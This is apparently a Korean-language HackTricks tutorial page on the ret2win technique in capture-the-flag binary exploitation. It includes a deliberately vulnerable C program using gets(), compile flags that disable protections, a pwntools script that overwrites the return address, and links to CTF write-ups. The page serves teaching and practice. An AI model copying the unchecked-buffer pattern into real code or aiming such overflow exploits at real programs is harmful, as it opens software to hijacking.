Ret2win
Reading time: 5 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
기본 정보
Ret2win 챌린지는 Capture The Flag (CTF) 대회에서 인기 있는 카테고리로, 특히 binary exploitation과 관련된 작업에서 그렇습니다. 목표는 주어진 바이너리의 취약점을 이용하여 바이너리 내에서 특정 호출되지 않은 함수를 실행하는 것입니다. 이 함수는 보통 win
, flag
등과 같은 이름을 가지고 있습니다. 이 함수가 실행되면 일반적으로 플래그나 성공 메시지를 출력합니다. 이 챌린지는 일반적으로 스택에서 return address를 덮어써서 실행 흐름을 원하는 함수로 전환하는 것을 포함합니다. 다음은 예제를 포함한 더 자세한 설명입니다:
C 예제
취약점이 있는 간단한 C 프로그램과 우리가 호출하려는 win
함수가 있다고 가정해 보겠습니다:
#include <stdio.h>
#include <string.h>
void win() {
printf("Congratulations! You've called the win function.\n");
}
void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}
int main() {
vulnerable_function();
return 0;
}
이 프로그램을 스택 보호 없이 ASLR을 비활성화하여 컴파일하려면 다음 명령어를 사용할 수 있습니다:
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
-m32
: 프로그램을 32비트 바이너리로 컴파일합니다(선택 사항이지만 CTF 챌린지에서 일반적입니다).-fno-stack-protector
: 스택 오버플로우에 대한 보호를 비활성화합니다.-z execstack
: 스택에서 코드 실행을 허용합니다.-no-pie
: 위치 독립 실행 파일을 비활성화하여win
함수의 주소가 변경되지 않도록 합니다.-o vulnerable
: 출력 파일 이름을vulnerable
로 설정합니다.
Pwntools를 이용한 Python Exploit
익스플로잇을 위해 pwntools를 사용할 것입니다. 이는 익스플로잇 작성을 위한 강력한 CTF 프레임워크입니다. 익스플로잇 스크립트는 버퍼를 오버플로우하고 반환 주소를 win
함수의 주소로 덮어쓰는 페이로드를 생성합니다.
from pwn import *
# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
# Find the address of the win function
win_addr = p32(0x08048456) # Replace 0x08048456 with the actual address of the win function in your binary
# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr
# Send the payload
p.sendline(payload)
p.interactive()
win
함수의 주소를 찾으려면 gdb, objdump 또는 이진 파일을 검사할 수 있는 다른 도구를 사용할 수 있습니다. 예를 들어, objdump
를 사용하여 다음과 같이 할 수 있습니다:
objdump -d vulnerable | grep win
이 명령은 win
함수의 어셈블리를 보여주며, 시작 주소를 포함합니다.
Python 스크립트는 정교하게 제작된 메시지를 전송하여, vulnerable_function
에 의해 처리될 때 버퍼가 오버플로우되고 스택의 반환 주소가 win
의 주소로 덮어씌워집니다. vulnerable_function
이 반환될 때, main
으로 반환하거나 종료하는 대신 win
으로 점프하고 메시지가 출력됩니다.
Protections
- PIE 는 비활성화되어야 주소가 실행 간에 신뢰할 수 있도록 하거나 함수가 저장될 주소가 항상 동일하지 않으며,
win
함수가 로드된 위치를 파악하기 위해 어떤 leak이 필요합니다. 오버플로우를 유발하는 함수가read
또는 유사한 경우, 반환 주소를win
함수로 변경하기 위해 1 또는 2 바이트의 부분 덮어쓰기를 할 수 있습니다. ASLR의 작동 방식 때문에 마지막 세 개의 16진수 니블은 무작위화되지 않으므로, 올바른 반환 주소를 얻을 확률은 1/16 (1 니블)입니다. - Stack Canaries 또한 비활성화되어야 하며, 그렇지 않으면 손상된 EIP 반환 주소가 결코 따르지 않을 것입니다.
Other examples & References
- https://ir0nstone.gitbook.io/notes/types/stack/ret2win
- https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html
- 32bit, no ASLR
- https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html
- 64 bits with ASLR, with a leak of the bin address
- https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html
- 64 bits, no ASLR
- https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html
- 32 bits, no ASLR, double small overflow, first to overflow the stack and enlarge the size of the second overflow
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32 bit, relro, no canary, nx, no pie, format string to overwrite the address
fflush
with the win function (ret2win) - https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html
- 32 bit, nx, nothing else, partial overwrite of EIP (1Byte) to call the win function
- https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html
- 32 bit, nx, nothing else, partial overwrite of EIP (1Byte) to call the win function
- https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html
- 프로그램은 입력 크기를 확인하기 위해 숫자의 마지막 바이트만 검증하므로, 마지막 바이트가 허용된 범위 내에 있는 한 어떤 크기도 추가할 수 있습니다. 그런 다음 입력은 ret2win으로 악용된 버퍼 오버플로우를 생성합니다.
- https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/
- 64 bit, relro, no canary, nx, pie. Partial overwrite to call the win function (ret2win)
- https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/
- arm64, PIE, it gives a PIE leak the win function is actually 2 functions so ROP gadget that calls 2 functions
- https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/
- ARM64, off-by-one to call a win function
ARM64 Example
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.